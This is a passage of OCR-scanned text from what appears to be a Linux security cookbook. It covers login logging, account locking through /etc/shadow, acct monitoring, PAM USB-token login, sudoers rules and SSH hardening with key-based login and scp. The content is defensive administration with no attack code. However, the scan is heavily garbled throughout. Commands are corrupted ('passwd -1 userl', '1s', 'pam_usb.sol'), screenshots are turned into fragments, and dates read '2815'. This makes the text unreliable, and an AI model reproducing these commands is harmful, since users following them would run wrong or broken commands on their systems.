in managing the LDAP server through the web interface using a browser.

[}






Local Authentication
in Linux

In this chapter, we will discuss the following topics:

» User authentication and logging

» Limiting the login capabilities of users

» Monitoring user activity using acct

» Login authentication using a USB device and PAM

» Defining user authorization controls

User authentication and logging

One of the major aspects of user authentication is monitoring the users of the system. There
are various ways to keep track of all the successful and failed login attempts made by a user
in Linux.
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Getting Started

The Linux system maintains a log of all login attempts by different accounts in the system.
These logs are all located at /var/log/.

Linux has many ways to help an administrator to view the logs, both through a graphical and
command-line method:

1. If we want to check the incorrect login attempts for a particular user, such as root,
we can do so by using this command:

lastb root

Sat Nov 28 1:

=
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2. To see the log using the terminal, we use the dmesg command. This command
displays the buffer of Linux kernel's message stored in memory, as shown below:

ns=io+mem

lug and i : \[=I¢ ) (active)
a 4]

3. If we wish to filter the above output to only show the log related to a USB device,
we can do so by using grep:

2

hub 1-¢
uhci f

(75}
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4. Instead of viewing all the logs, if we only wish to view the 10 most recent logs in a
particular log file, the command will be as follows:

In the above command, the -n option is used to specify the number of lines
to be shown.

5. If we wish to see the most recent login attempts for user accounts, use the tool, 1ast.

kallil -4B6 on Nov

The last tool displays the /etc/log/wtmp file in a formatted way.

6. If we want to see the last time any user logged in on the system, we can use the
lastlog command:

7
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Linux has different files for logging different types of detail. Using the commands shown
above, we are able to view those logs and see the details as per our requirements. Every
command gives us different type details.

Limiting the login capabilities of users

A major role of a system administrator is to configure and manage users and groups on a
Linux system. It also involves the task of checking the login capabilities of all users.

Getting ready

All the steps given below have been tried on an Ubuntu system; however, you can also follow
these on any other Linux distribution.

How to do it...

Here we will discuss how the login capabilities of users can be restricted on a Linux system:

1. We can restrict the access of a user account by changing the login shell of the
account to a special value in the /etc/passwd file. Let's check the details of an
account, sslh as an example, in the /etc/passwd file, as shown:

cat /etc/passwd | grep sslh

2. Inthe preceding details, the final value for the ss1h accountis setto /bin/false. If
we now try to log in to ss1h user as root, we see that we are not able to do so:

su sslh

3. So now, if we change the shell of the user account we wish to restrict, we can do so
as shown:

1in userl
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4. Another way of restricting access to a user is by the using /etc/shadow file. If we
check the details of this file using the cat command, we get the result as shown:

TwWvt4IKMIQH BHNs19UNZVnj

6. The details show the hashed password for the user1 account (the one starting
with ... $6$21iumTg65...). We can also see that instead of the hashed password,
the system accounts have an asterisk *.

7. Now, to lock the account user1, the command will be as follows:

passwd -1 userl

-1 userl
xpiry information chan

8. Let's check the details in the /etc/shadow file again for the user1 account. We see
that the hashed password has been made invalid by preceding it with a !:

cat /etc/shadow | grep userl

EZ2pyj7Il

7@
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9. To unlock the account again, the command is shown here:

passwd -u userl

10. If we wish to check if the account has already been locked or not, we can do so by
using the following command:

As we can see in the output above, the user1 account is locked, which is denoted by L in the
second field. Whereas user?2 is not locked, as it shows P in the details.

1. The process to lock or unlock an account can also be done using the usermod
command. To lock the account using usermod, the command will be as follows:

usermod -L userl

2. And to unlock the account using usermod, the command will be as follows:

usermod -U userl

For every account in Linux, the user account details are stored in the /etc/passwd and
/etc/shadow files. These details specify how the user account will act. When we are able to
change the details of any user account in these files, we are able to change the behavior of
the user account.

In the above section, we have seen how to modify these files to 1ock or unlock the
user account.
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Monitoring user activity using acct

Acct is an open source application which helps monitor user activity on a Linux system. It runs
in the background and tracks all the activities of the users and also maintains a track of the
resources being used.

Getting started

To use the commands of acct, we first need to install the package on our Linux system by
using the following command:

apt-get install acct

In case the above method doesn't work properly, we can download the package manually by
visiting the link http://packages.ubuntu.com/precise/admin/acct.

1. After downloading the package, we need to extract it into a directory somewhere,
such as on the desktop.

:~/Desktop# 1s

@


http://packages.ubuntu.com/precise/admin/acct
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2. Then, move it into the directory.

v_hash.c  install-sh mdate-sh
_hash.h L . ] missing

t_
README
sa.8
ltmain.sh
m4
Makafile.am

tions of Makefiles...

. a.out

ct-6.5.5# make

(7]
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5. Then, the command make install:

ct-6.5.5# make install

6. Once successfully done, it will install the package on your Linux system.

How to do it?

The acct package has different commands for monitoring process activities:

1. Based on a particular user's logins and logouts from a wtmp file, if we wish to check
the total connected time, we can use the command ac:

2. If we wish to print the total login time for a day, we will use the option -d with
the ac command:

t
t
t
t
t
t
t
t
t
t
t

(&)
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3. To print the total login time for a user, we use the following command:

4. If we wish to check the login time only for a particular user, we use the following
command:

5. We can also see the previously executed commands for all users or a particular user
by using the command lastcomm.

To keep monitoring the system, we first install the acct package on the system. For a few
other Linux distributions, the package to be used would be psacct if acct is not compatible.

Once the tool is installed and running, it starts maintaining a log of activities on the system.
We can then watch these logs using the commands discussed in the above section.

s
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Login authentication using a USB device

and PAM

When a Linux user wants to secure the system, the most common method to do so is always
by using the login password. However, we know this method is not very reliable as there are
many methods available to hack the traditional password. To increase security, we can use
a USB device, as an authentication token, which will be used to log in into the system.

Getting ready

To follow the given steps, we need to have a USB storage device and Pluggable
Authentication Modules (PAM) downloaded on the Linux system. Most Linux systems have
it in the form of pre-compiled packages which can be accessed from the relevant repository.

How to do it...

By using any type of USB storage device and PAM, we can create an authentication token.

1. To start with, we first need to install the packages required for PAM USB
authentication. To do so, we run this command:

$ sudo apt-get install pamusb-tools libpam-usb

tajinder@tajinder-dev-machine:~S sudo apt-get install pamusb-tools libpam-usb
[sudo] password for tajinder:
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
pamusb-common pmount
suggested packages:
cryptsetup
The following NEW packages will be installed:
libpam-usb pamusb-common pamusb-tools pmount
© upgraded, 4 newly installed, © to remove and 327 not upgraded.
Need to get 148 kB of archives.
After this operation, 1,059 kB of additional disk space will be used.
Do you want to continue [Y/n]? y
WARNING: The following packages cannot be authenticated!
pamusb-common pmount libpam-usb pamusb-tools
Install these packages without verification [y/N]? vy
Get:1 http://in.archive.ubuntu.com/ubuntu/ precise/universe pamusb-common 1386 0.
5.8-3 [32.5 kB]
Get:2 http://in.archive.ubuntu.com/ubuntu/ precise/universe pmount 1386 0.9.23-2
[97.2 kB]

2. Once the packages are installed, we have to configure the USB device to use with
PAM authentication. To do so, we can either use a command, or else we can edit
the /etc/pamusb. conf file.

[
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3. For using the command method, first connect the USB device, and after that execute
the given command:

$ sudo pamusb-conf --add-device usb-device

The output of the command can be seen here:

tajinder@tj-dev:~$ sudo pamusb-conf --add-device usb-device
Please select the device you wish to add.
* Using "SanDisk Cruzer Blade (4C530001271007108431)" (only option)

Which volume would you like to use for storing data ?
* Using "/dev/sdb1l (UUID: 90F9-1155)" (only option)

: usb-device

: SanDisk

: Cruzer Blade

: 4C530001271007108431
: 90F9-1155

Save to /etc/pamusb.conf ?
[Y/n] y

Done.

tajinder@tj-dev:~s JJ

In the preceding command, usb-device is the name given to the USB device we are
using. This name can be anything of your choice.

When the pamusb-conf command is used, it automatically discovers the USB
device, which also includes multiple partitions. When the command completes its
execution, it adds an XML code block into the /etc/pamusb. conf file, defining our
USB device.

<!-- Device settings -->
<devices>
<!-- Example:
Note: You should use pamusb-conf to add devices automatically.
<device id="MyDevice">
<vendor>SanDisk Corp.</vendor>
<model>Cruzer Titanium</model>
<serial>SNDKXXXXXXXXXXXXXXXX</serial>
<volume_uuid>6F6B-42FC</volume_uuid>

<option name="probe_timeout">10</option>
</device>

-—
<device id="usb-device">
<vendor>SanDisk</vendor>
<model>Cruzer Blade</model>
<serial>4C530001271007108431</serial>
<volume_uuid>90F9-1155</volume_uuid>

</device></devices>

&)
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4.

Next, we define our USB device:

$ sudo pamusb-conf --add-user userl

The execution is shown in the following screenshot:

tajinder@tj-dev:~$ sudo pamusb-conf --add-user useri
Which device would you like to use for authentication ?
* Using "usb-device" (only option)

: userl
: usb-device

Save to fetc/pamusb.conf ?
[y/n]l y

Done.

tajinder@tj-dev:~S |J

If the user already exists, it will be added to the PAM configuration.

The preceding command adds the definition of the pam_usb user into the
/etc/pamusb. conf file.

<user id="tajinder">
<device>usb-device</device>
</user><user id="useri1">

<device>usb-device</device>
<fuser=<fusers=

Now, we will configure PAM to add the pam_usb module in the system authentication
process. For this, we will edit the /etc/pam.d/common-auth file and add the line:

auth sufficient _ pam_usb.so

This will make the system-wide PAM library aware of the pam_usb module.

The required option specifies that the correct password is necessary, while the
sufficient option means that this can also authenticate the user. In the above
configuration, we have used sufficient for the usb-device authentication, while
using required for the default password.
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In case the USB device defined for user1 is not present in the system, the user
will need to enter a correct password. To force the user to have both authentication
routines in place before granting them access to the system, change sufficient
to required.

Now we will try to switch to useri.

tajinder@tj-dev:~$ su useri

Password:

* pam_usb v0.5.0
Authentication request for user "user1" (su)
Device "usb-device" is connected (good).

Performing one time pad verification...
Regenerating new pads...
Access granted.

useri@tj-dev: /home/tajinders

When asked to, connect the relevant usb-device. If the correct USB token device is
connected, the login will complete as shown; otherwise it will give an error.

If an error appears, as shown below, it could be possible that the path of the USB
device was not added properly.

Error: device /dev/sdbl is not removable

* Mount failed
In such a situation, add the USB device's full path into /etc/pmount .allow.

Now run the command to check how the USB device partition has been listed in
the filesystem:

$ sudo fdisk -1

Disk /dev/sdb: 80684 MB, 8004304896 bytes

35 heads, 21 sectors/track, 21269 cylinders, total 15633408 sectors
Units = sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I1/0 size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000

Device Boot Start End Blocks Id System
Jdev/sdb1 B 32 15633407 7816688 b W95 FAT32

In our case, the partition has been listed as:/dev/sdbl

&1
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9.

10.

11.

12.

Now add a line into the /etc/pmount . allow file to solve the error.

The configuration that we have done in /etc/pam.d/common-auth until now
means that if the USB device is not connected, the user will still be able to log in with
the correct password. If we wish to force the user to also use the USB device for login,
then change sufficient to required, as shown:

auth [5ucces§=1 defauit:ignore] pam_unik.so nullok_secure

auth required pam_usb.sol

If the user now tries to log in, they will have to enter the correct password, as well as
insert the USB device.

tajinder@tj-dev:~$ su useril

Password:

* pam_usb vB.5.0

Authentication request for user "useri1" (su)
Device "usb-device" is connected (good).
Performing one time pad verification...
Access granted.

userl@tj-dev:/home/tajinders exit

exit

tajinder@tj-dev:~$ |

®
®
*
*

Now remove the USB device and try to log in again with the correct password:

tajinder@tj-dev:~$ su useri

Password:

* pam_usb v0.5.0

# Authentication request for user "useril" (su)
Device "usb-device” is not connected.

Access denied.

su: Authentication failure
tajindergtj-dev:~S |J

Once we have installed the required PAM-USB package, we edit the configuration file to

add the USB device we want to use as an authentication token. After that, we add the user
account to be used, and then we complete the changes in the /etc/pam.d/common-auth
file to specify how the USB authentication should work, whether it is always required or not,
when logging in.

~[ee]
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There's more...

Until now, we have seen how to use a USB device to authenticate a user login. Apart from this,
we can also use the USB device to trigger an event each time it is disconnected or connected
to the system.

Let's modify the XML code in /etc/pamusb. conf to add an event code for the user definition:

-=>
<user id="user1"s>
<device>usb-device

</device>

<agent event="lock">gnome-screensaver-command -l</agent=>

<agent event="unlock">gnome-screensaver-command -d</agent>

Due to the above modification, whenever the user disconnects the USB device, the screen
will be locked. Similarly, when the user connects the USB device again, the screen will be
unlocked.

Defining user authorization controls

Defining user authorization on a computer mainly deals with deciding the activities that a user
may or may not be allowed to do. This could include activities such as executing a program or
reading a file.

Since the root account has all privileges, authorization controls mainly deal with allowing or
disallowing root access to user accounts.

Getting started..

To see how user authorization works, we need a user account to try the commands on. Hence,
we create a couple of user accounts, userl and user2, to try the commands.
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How to do it...

In this section, we will go through various controls which can be applied on user accounts.

1. Suppose we have two user accounts, userl and user2. We log in from user2 and
then try to run a command, ps, as user1l. In a normal scenario, we get the result

as shown:

~# su us

as userl on kali.

2. Now edit the file /etc/sudoers and add the line as given below:

User2 ALL = (userl) /bin/ps

3. After saving the changes in /etc/sudoers, again try to run the command ps from

user2 as userl.

CMD

4. Now, if we want to again run the same command from user2 as userl, but
without being asked for the password, we can do the same by editing the file

/etc/sudoers, as shown:
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5. Now when we run the ps command from user2 as userl, we see that it does not ask
for a password any more:

~# su us

-u userl ps

PID TTY
1782 p

6. Now that we have seen how to run a command without being asked for the password,
the major concern of the system administrator will be that sudo should always
prompt for a password.

7. To make sudo always prompt for a password for user account user1 on the system,
edit the file /etc/sudoers and add the following line:

Defaults:userl timestamp timeout = 0

Defaults:userl timestgmp_tim

~# su userl

rd for userl:
TIME

rd for userl:
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9. Now, let's suppose we want to give the user1 account the privilege to change the
password of user2 and user3. Edit the /etc/sudoers file and add the line
as shown:

/usr/bin/passwd user3]]

10. Now log in from user1 and let's try to change the passwords of the user2 and
user3 accounts:

rd information for us

d information for user3.

Using the sudo command and the /etc/sudoers file, we make the necessary changes to
execute the tasks as required.

We edit the file to allow the permission to execute a program as another user. We also add the
option NOPASSWD to execute the program without being asked for password. We then add the
required line so that sudo always prompts for password.

Next, we see how to authorize a user account to change passwords for other user accounts.

5]
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In this chapter, we will discuss the following topics:

» Remote server/host access using SSH

» Disabling or enabling SSH root login

v

Restricting remote access with key-based login into SSH

v

Copying files remotely

v

Setting up a Kerberos server with Ubuntu

Remote server/host access using SSH

SSH, or Secure Shell, is a protocol which is used to log on to remote systems securely and
is the most commonly used method for accessing remote Linux systems.

Getting ready

To see how to use SSH, we need two Ubuntu systems. One will be used as a server and the
other as a client.
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How to do it...

To use SSH, we can use freely available software called OpenSSH. Once the software is
installed, it can be used by the command ssh on the Linux system. We will see how to use
this tool in detail:

1. If the software to use SSH is not already installed, we have to install it on both the
server and the client system.

o The command to install the tool on the server system is:
sudo apt-get install openssh-server

o The output obtained will be as follows:

tajinder@tj-dev:~$ sudo apt-get install openssh-server
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
ssh-import-id
Suggested packages:
rssh molly-guard openssh-blacklist openssh-blacklist-extra monkeysphere
The following NEW packzges will be installed:
openssh-server ssh-import-id
0 upgraded, 2 newly installed, ©® to remove and 326 not upgraded.
Need to get 350 kB of archives.
After this operation, 895 kB of additional disk space will be used.
Do you want to continue [Y/n]? y
Get:1 http://in.archive.ubuntu.com/ubuntu/ precise-updates/main openssh-server i
386 1:5.9p1-5ubuntul.7 [343 kB]
Get:2 http://in.archive.ubuntu.com/ubuntu/ precise/main ssh-import-id all 2.1@-€
ubuntul [6,598 B]
Fetched 350 kB in 15s (22.6 kB/s)

2. Next, we need to install the client version of the software:

sudo apt-get install openssh-client

o The output obtained will be as follows:

tajinder@tj-dev:~$ sudo apt-get install openssh-client
[sudo] password for tajinder:
Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
libpam-ssh keychain monkeysphere openssh-blacklist openssh-blacklist-extra
The following packages will be upgraded:
openssh-client
1 upgraded, ® newly installed, © to remove and 326 not upgraded.

Meed to get 961 kB of archives.

After this operation, 1,024 B of additional disk space will be used.

Get:1 http://in.archive.ubuntu.comf/ubuntu/ precise-updates/main openssh-client i3
86 1:5.9p1-5ubuntul.7 [961 kB]

Fetched 961 kB in 18s (92.6 kB/s)
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3. Forthe latest versions, the SSH service starts running as soon as the software is
installed. If it is not running by default, we can start the service by using this command:

sudo service ssh start

o The output obtained will be as follows:

tajinder@tj-dev:~$ sudo service ssh start
sudo: unable to resolve host tj-dev-server
ssh start/running, process 6441

tajinder@tj-dev:~$

4. Now if we want to log in from the client system to the server system, the command
will be as follows:

ssh remote ip address

Here, remote ip address refers to the IP address of the server system. The
command also assumes that the username on the client machine is the same
as that on the server machine:

tajinder@tj-dev:~5 ssh 192.168.1.108

The authenticity of host '192.168.1.108 (192.168.1.108)' can't be established.
ECDSA key fingerprint is 31:9d:b4:6e:ab:ed:d@:0f:14:28:6c:df:eb:fb:1f:0b.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.1.108' (ECDSA) to the list of known hosts.
tajinder@l92.168.1.108's password:

Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic 1686)

* Documentation: https://help.ubuntu.com/

330 packages can be updated.
229 updates are security updates.

New release '14.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Tue Dec 29 @0:31:19 2815 from tj-dev.local
tajinder@tj-dev-server:~$ |J

55}




Remote Authentication

If we want to log in with a different user, the command will be as follows:
ssh username@remote ip address

o The output obtained will be as follows:

tajinder@tj-dev:~S$ ssh user1@192.168.1.1088
user1@192.168.1.108's password:
Welcome to Ubuntu 12.84.4 LTS (GNU/Linux 3.11.0-15-generic 1686)

* Documentation: https://help.ubuntu.com/

330 packages can be updated.
229 updates are security updates.

New release '14.84.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Tue Dec 29 00:32:26 2015 from tj-dev.local
useri@tj-dev-server:~$

Next, we need to configure SSH so we can use it as per our requirements. The main
configuration file for sshd in Ubuntu is located at /etc/ssh/sshd config.
Before making any changes to the original version of this file, create a backup
using this command:

sudo cp /etc/ssh/sshd config{, .bak}

o The configuration file defines the default settings for SSH on the
server system.

When we open the file in any editor, we can see that the default port declaration on
which the SSHD server listens for the incoming connections is 22. We can change
this to any non-standard port to secure the server from random port scans, hence
making it more secure. Suppose we change the port to 888, then the next time the
client wants to connect to the SSH server, the command will be as follows:

ssh -p port number remote ip address

o The output obtained will be as follows:

=
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tajinder@tj-dev:~$ ssh user1@i92.168.1.108

ssh: connect to host 192.168.1.108 port 22: Connection refused
tajinder@tj-dev:~$

tajinder@tj-dev:~$

tajinder@tj-dev:~$ ssh -p 888 user1@192.168.1.108
user1@192.168.1.108's password:

Welcome to Ubuntu 12.84.4 LTS (GNU/Linux 3.11.0-15-generic 1686)

* Documentation: https://help.ubuntu.com/

330 packages can be updated.
229 updates are security updates.

New release '14.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Thu Dec 31 00:48:57 2015 from tj-dev.local
useri@tj-dev-server:~5% I

As we can see, when we run the command without specifying the port number, the connection
is refused. Next, when we mention the correct port number, the connection is established.

SSH is used to connect a client program to an SSH server. On one system, we install the
openssh-server package to make it the SSH server, and on the other system we install
the openssh-client package to use it as a client.

Now, keeping the SSH service running on the server system, we try to connect to it through
the client.

We use the configuration file of SSH to change the settings, like the default port for connecting.

Disabling or enabling SSH root login

The Linux systems have a root account by default, which is enabled by default. If unauthorized
users get SSH root access to the system, it is not a good idea because this will give an
attacker complete access to the system.

We can disable or enable the root login for SSH as per our requirements to prevent the
chances of an attacker getting access to the system.

Getting ready

We need two Linux systems to be used as a server and client. On the server system, install the
package openssh-server, as shown in the preceding recipe.

[55]-
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How to do it...

First, we will see how to disable SSH root login, and then we will also see how to enable it again:

1. Firstly, open the main configuration file of SSH, /etc/ssh/sshd _config,
in any editor.

sudo nano /etc/ssh/sshd config

2. Now look for the line that reads as follows:

PermitRootLogin yes

3. Change the value from yes to no. Then, save and close the file:

PermitRootLogin no

o The output obtained will be as follows:

# Authentication:
LoginGraceTime 120

PermitRootLogin no
StrictModes yes

4. Once done, restart the SSH daemon service using the command shown here:

tajinder@tj-dev:~$ sudo service ssh restart
sudo: unable to resolve host tj-dev-server
ssh stop/waiting

ssh startf/running, process 4416
tajinder@tj-dev:~5%

5. Now, let's try to log in as root. We should get an error, Permission Denied,
as the root login has been disabled:

tajinder@tj-dev:~% ssh root@l92.168.1.103
root@192.168.1.103"'s password:
Permission denied, please try again.

root@192.168.1.103's password:

5]
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6. Now whenever we want to log in as root, first we will have to log in as a normal user.
After that, we can use the su command and switch to the root user. So, the user
accounts which are not listed in the /etc/sudoers file will not be able to switch
to the root user and the system will be more secure:

tajinder@tj-dev:~$ ssh tajinder@192.168.1.103
tajinder@192.168.1.103"'s password:
Welcome to Ubuntu 12.84.4 LTS (GNU/Linux 3.11.0-15-generic i686)

* Documentation: https://help.ubuntu.com/

New release '14.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in fusr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

tajinder@tj-dev-server:~$ whoami

tajinder

tajinder@tj-dev-server:~$ su root
Password:
root@tj-dev-server:/home/tajinder# whoami
root

7. Now, if we want to again enable SSH root login, we just need to edit the/etc/ssh/
sshd_config file again and change the option from no to yes again:

PermitRootLogin yes

o The output obtained will be as follows:

# Authentication:
LoginGraceTime 120
PermitRootLogin yesl
StrictModes yes

8. Then, restart the service again by using the following command:

tajinder@tj-dev:~$ sudo service ssh restart
sudo: unable to resolve host tj-dev-server
ssh stop/waiting

ssh start/running, process 4416
tajinder@tj-dev:-~$§
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9. Now if we try to log in as root again, it will work:

tajinder@tj-dev:~$ ssh root@192.168.1.183
root@l92.168.1.103"'s password:
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic 1686)

* Documentation: https://help.ubuntu.com/

New release '14.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Mon Dec 28 16:25:34 2815 from tj-dev.local
root@tj-dev-server:~# I

When we try to connect to a remote system using SSH, the remote system checks its
configuration file at /etc/ssh/sshd _config and according to the details mentioned
in this file, it decides whether the connection should be allowed or refused.

When we change the value of PermitRootLogin accordingly, the working also changes.

There's more...

Suppose we have many user accounts on the system and we need to edit the /etc/ssh/
sshd_config file in such a way that remote access is allowed only for a few mentioned users.

sudo nano /etc/ssh/sshd config
Add the following line:

AllowUsers tajinder userl

Now restart the ssh service:

sudo service ssh restart
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Now, when we try to log in with user1, the login is successful. However, when we try to log in
with user2, which has not been added to /etc/ssh/sshd_config file, the login fails and
we get the error Permission denied, as shown here:

tajinder@tj-dev:~S$ ssh useri1@192.168.1.103
useri@192.168.1.103"'s password:
Welcome to Ubuntu 12.84.4 LTS (GNU/Linux 3.11.8-15-generic i686)

* Documentation: https://help.ubuntu.com/

New release '14.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Tue Dec 29 00:31:40 2815 from tj-dev.local
useri@tj-dev-server:~$ exit

logout

Connection to 192.168.1.103 closed.

tajinder@tj-dev:~$

tajinder@tj-dev:~S$ ssh user2@192.168.1.103
user2@192.168.1.103"'s password:

Permission denied, please try again.
user2@192.168.1.103's password: I

Restricting remote access with key-based
login into SSH

Even though SSH login is protected by using passwords for the user account, we can make it
more secure by using key-based authentication into SSH.

Getting ready

To see how key-based authentication works, we will need two Linux systems (in our example,
both our Ubuntu systems). One should have the OpenSSH server package installed on it.

How to do it...

To use key-based authentication, we need to create a pair of keys—a private key and a
public key.

1. On the client or local system, we will execute the following command to generate the
SSH key-pair:

ssh-keygen-t rsa
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o The output obtained will be as follows:

useril@tj-dev-client:~$ ssh-keygen -t rsa

Generating public/private rsa key pair.

Enter file in which to save the key (/home/useri/.ssh/id _rsa):
Created directory '/home/useri/.ssh'.

Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in /home/useri/.ssh/id_rsa.
Your public key has been saved in fhome/useri1/.ssh/id_rsa.pub.
The key fingerprint is:
79:23:12:5f:da:dc:ce:a2:06:90:39:78:a0:91:6cC:86 userl@tj-dev-client
The key's randomart image is:

+--[ RSA 2048]----+

|o.
| E+.

|oo o o.

|
|
|
|
|
-

|
|
|
|
|
|
|
|
-

useril@tj-dev-client:~$

2. While creating the key, we can accept the default values or change them as per our
wishes. It will also ask for a passphrase, which you can set as anything or else leave
it blank.

3. The key-pair will be created in the location—~ . /ssh/. Change to this directory and
then use the command—1s -1 to see the details of the key files:

useri@tj-dev-client:~$ cd ~/.ssh/
useril@tj-dev-client:~/.ssh$ 1s -1

1 userl userl 1766 Jan 3 02:58 id_rsa

-rW-r--r-- 1 userl userl 401 Jan 3 ©2:58 id_rsa.pub
useri@tj-dev-client:~/.sshs [

o We can see thatthe id_rsa file can be read and written only by the owner.
This permission ensures that the file is kept secure.

4. Now we need to copy the public key file to the remote SSH server. To do so we run
the following command:

ssh-copy-id 192.168.1.101
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o The output obtained will be as follows:

useri@tj-dev-client:~/.sshS ssh-copy-id 192.168.1.101

The authenticity of host '192.168.1.101 (192.168.1.101)' can't be established.
ECDSA key fingerprint is 31:9d:b4:6e:ab:ed:d@:0f:14:28:6c:df:eb:fb:1f:0b.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.1.101' (ECDSA) to the list of known hosts.
user1@192.168.1.101's password:

Now try logging into the machine, with "ssh '192.168.1.181'", and check in:

~/.ssh/authorized_keys
to make sure we haven't added extra keys that you weren't expecting.

useri@tj-dev-client:~/.sshs |J

5. An SSH session will be started and will prompt you to enter the password for the user
account. Once the correct password has been entered, the key will get copied to the
remote server.

6. Once the public key has been successfully copied to the remote server, try to log in to
the server again using the ssh 192.168.1.101 command:

userl@tj-dev-client:~/.ssh$ ssh 192.168.1.101
Enter passphrase for key '/home/userl/.ssh/fid_rsa':
Welcome to Ubuntu 12.84.4 LTS (GNU/Linux 3.11.0-15-generic 1686)

* Documentation: https://help.ubuntu.comf

packages can be updated.
updates are security updates.

release '14.04.3 LTS' available.
'do-release-upgrade' to upgrade to it.

Last login: Thu Dec 31 02:43:19 2015 from tj-dev.local
user1@tj-dev-server:~$ I

We can see that now we are not prompted for the user account's password. Since we had
configured the passphrase for the SSH key, it has been asked. Otherwise, we would have
been logged into the system without being asked for the passphrase.
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When we create the SSH key-pair and move the public key to the remote system, it works
as an authentication method for connecting to the remote system. If the public key present
in the remote system matches the public key generated by the local system, and if the local
system has the private key to complete the key-pair, login happens. Otherwise, if any key file
is missing, login is not allowed.

Copying files remotely

Managing a system remotely is great using SSH. However, many would not know that SSH can
also help in uploading and downloading files remotely.

Getting ready

To try the file transfer tools, we only need two Linux systems which can ping each other. On
one system, the OpenSSH package should be installed and the SSH server should be running.

How to do it...

Linux has a collection of tools which can help to transfer data between networked computers.
We will see how a few of them work in this section:

1. Suppose we have a file, myfile.txt, on the local system, which we want to copy to
the remote system. The command to do so is given here:

scp myfile.txt tajinder@sshserver.com:~Desktop/

o The output is shown in the following screenshot:

tajinder@sshclient:~% scp myfile.txt tajinder@sshserver.com:Desktop/
tajinder@sshserver.com's password:
myfile.txt 100% 22 0.0KB/s 0O:00

tajinder@sshclient:~% I

o Here, the remote location where the file will be copied to is the Desktop
directory of the user account being used to connect.
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2. When we check on the remote SSH system, we can see that the file myfile.txt has
been copied successfully:

tajinder@sshserver:~/Desktop$ ls
newfile.txt
tajinder@sshserver:~/Desktop$ pwd
/home ftajinder /Desktop

tajinder@sshserver:~/Desktop$ 1s

myfile.txt newfile.txt
tajinder@sshserver:~/DesktopS cat myfile.txt
This is a test file.

3. Now, let's suppose we have a mydata directory in the local system, which we want to
copy to the remote system. This can be done by using the -r option in the command,
as shown here:

scp -r mydata/ tajinder@sshserver.com:~Desktop/

o The output is shown in the following screenshot:

tajinder@sshclient:~§ 1s

Desktop Downloads Music myfile.txt Public Videos
Documents examples.desktop mydata Pictures Templates
tajinder@sshclient:~$ scp -r mydata/ tajinder@sshserver.com:Desktop/
tajinder@sshserver.com's password:

filel 100% 19 0.0KB/s 00:00
file3 100% 21 0.0KB/s 00:00
file2 100% 25 0.0KB/s 00:00
tajinder@sshclient:~$ ||

4. Again, we check on the remote server and see that the mydata directory has been
copied with all its files:

tajinder@sshserver:~/Desktops ls
mydata myfile.txt newfile.txt
tajinder@sshserver:~/Desktop$s cd mydata/

tajinder@sshserver:~/Desktop/mydatas 1s
filel1 filez file3
tajinder@sshserver:~/Desktop/mydatas |
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5. Now we will see how to copy a file from the remote system back to the local system.

o First, create a file on the remote server. Our file is newfile. txt:

tajinder@sshserver:~/Desktops 1s
mydata myfile.txt newfile.txt

tajinder@sshserver:~/Desktops$ [

6. Now, on the local system, move to the directory where you wish to copy the file. Then,
run the command as shown to copy the file from the remote system to the local
system in the current directory:

scp -r tajinder@sshserver.com:/home/tajinder/Desktop/newfile.txt

o The output is shown in the following screenshot:

tajinder@sshclient:~$ 1s

Desktop Downloads Music myfile.txt Public Videos
Documents examples.desktop mydata Pictures Templates
tajinder@sshclient:~$ scp -r tajinder@sshserver.com: /home/tajinder/Desktop/newfi
le.txt .

tajinder@sshserver.com's password:

newfile.txt 100% 25 0.0KB/s 00:00
tajinder@sshclient:~$ 1s

Desktop Downloads Music myfile.txt Pictures Templates
Documents examples.desktop mydata newfile.txt Public Videos
tajinder@sshclient:~$

tajinder@sshclient:~S

7. We can also use sftp to interactively copy the files from the remote system, using
FTP commands.

8. To do this, we first start the connection, using this command:

sftp tajinder@sshserver.com

o Have a look at the execution of the command:

tajinder@sshclient:~$ sftp tajinder@sshserver.com
tajinder@sshserver.com's password:

Connected to sshserver.com.
sftp> 1s
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9. Next, we can run any FTP command. In our example, we try to get the file from the
remote system using the get command, as shown:

get sample.txt /home/tajinder/Desktop

sftp> cd Desktop/
sftp> 1s
mydata myfile.txt newfile.txt sample.txt

sftp> get sample.txt /home/tajinder/Desktop

Fetching /home/tajinder/Desktop/sample.txt to /home/tajinder/Desktop/sample.txt
/home/tajinder/Desktop/sample.txt 100% 28 0.0KB/s 00:00
sftp=>

10. In the local system, we can now check if the file has been copied successfully or not.

tajinder@sshclient:~$ cd Desktop/
tajinder@sshclient:~/Desktop$ 1s
sample.txt
tajinder@sshclient:~/Desktop$

11. SSH also works through GNOME. So, instead of using the command line, we can use
the GNOME File Explorer to start a SSH connection with the remote system.

12. In the GNOME File Explorer, go to File -> Connect to Server....

File Edit View Go Bookmarks Help

New Tab

New Window

Create New Folder
Create New Document

Connect to Server...

Properties

Restore Missing Files...

Close All Windows
Close




Remote Authentication

13. In the next window, enter the details as required and click on Connect.

Server Details

Server:
Type:
Folder:
User Details
User name:
Password:

Help |

-sshsen.rer.mm ; Pork: -22 = '{',3
| 55H x|
/

-tajinder

| Remember this password

Cancel || Connect |

14. Now we can copy the files graphically from the remote system to the local system,

or vice-versa.

F& SFTP for tajinder onsshserver.com home v Q, search

sample.txt

myfile.bxt newfile.txt

To copy files remotely over SSH, we use the tool scp. This helps with copying a single file or
